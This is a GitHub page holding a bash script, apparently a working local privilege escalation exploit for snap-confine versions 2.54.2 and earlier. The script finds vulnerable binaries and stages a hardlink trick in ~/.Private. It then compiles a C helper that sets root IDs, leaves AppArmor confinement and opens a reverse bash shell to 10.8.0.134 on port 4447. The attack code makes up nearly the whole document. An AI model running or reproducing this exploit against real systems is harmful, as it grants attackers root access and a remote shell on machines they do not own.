-
Notifications
You must be signed in to change notification settings - Fork 7
/
Copy pathsnap_confine_LPE.sh
67 lines (53 loc) · 1.94 KB
/
snap_confine_LPE.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#!/bin/bash
vulnerable_versions=()
# Find all files named "snap-confine"
file_list=$(find / -type f -name "snap-confine" 2>/dev/null)
# Loop through each file
for file_path in $file_list; do
# Run "--version" against each file
version_output=$("$file_path" --version 2>&1)
# Extract the version using regex
version=$(echo "$version_output" | grep -oP 'snap-confine \K\d+\.\d+\.\d+')
# Check if the version is 2.54.2 or less
if [[ "$(printf '%s\n' "2.54.2" "$version" | sort -V | head -n1)" == "$version" ]]; then
echo "Vulnerable version found: $version at $file_path"
vulnerable_versions+=("$version")
else
echo "Non-vulnerable version found: $version"
fi
done
if [[ ${#vulnerable_versions[@]} -gt 0 ]]; then
echo "Performing actions with a vulnerable version..."
chosen_version=${vulnerable_versions[0]}
echo "Chosen vulnerable version: $chosen_version"
mkdir -m 0700 /tmp/.tmp
mkdir -m 0700 ~/.Private
cd ~/.Private
mv -i /tmp/.tmp ./
cd .tmp
ln -i /usr/lib/snapd/snap-confine ./
cp -i "$(which true)" snap-update-ns
cat > snap-discard-ns.c << "EOF"
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
int main(void) {
if (setuid(0)) _exit(__LINE__);
if (setgid(0)) _exit(__LINE__);
FILE * const fp = fopen("/proc/self/attr/exec", "w");
if (!fp) _exit(__LINE__);
if (fputs("exec snap.lxd.daemon", fp) < 0) _exit(__LINE__);
if (fclose(fp)) _exit(__LINE__);
char * const argv[] = { "/bin/bash", "-c", "exec aa-exec -p unconfined -- "
"/bin/bash -c '/bin/bash -i >& /dev/tcp/10.8.0.134/4447 0>&1; cat /proc/self/attr/current'", NULL };
execve(*argv, argv, NULL);
_exit(__LINE__);
}
EOF
sleep 2
gcc -o snap-discard-ns snap-discard-ns.c
sleep 1
env -i SNAPD_DEBUG=1 SNAP_INSTANCE_NAME=lxd aa-exec -p /usr/lib/snapd/snap-confine -- ./snap-confine --base snapd snap.lxd.daemon /nonexistent
else
echo "No vulnerable versions found."
fi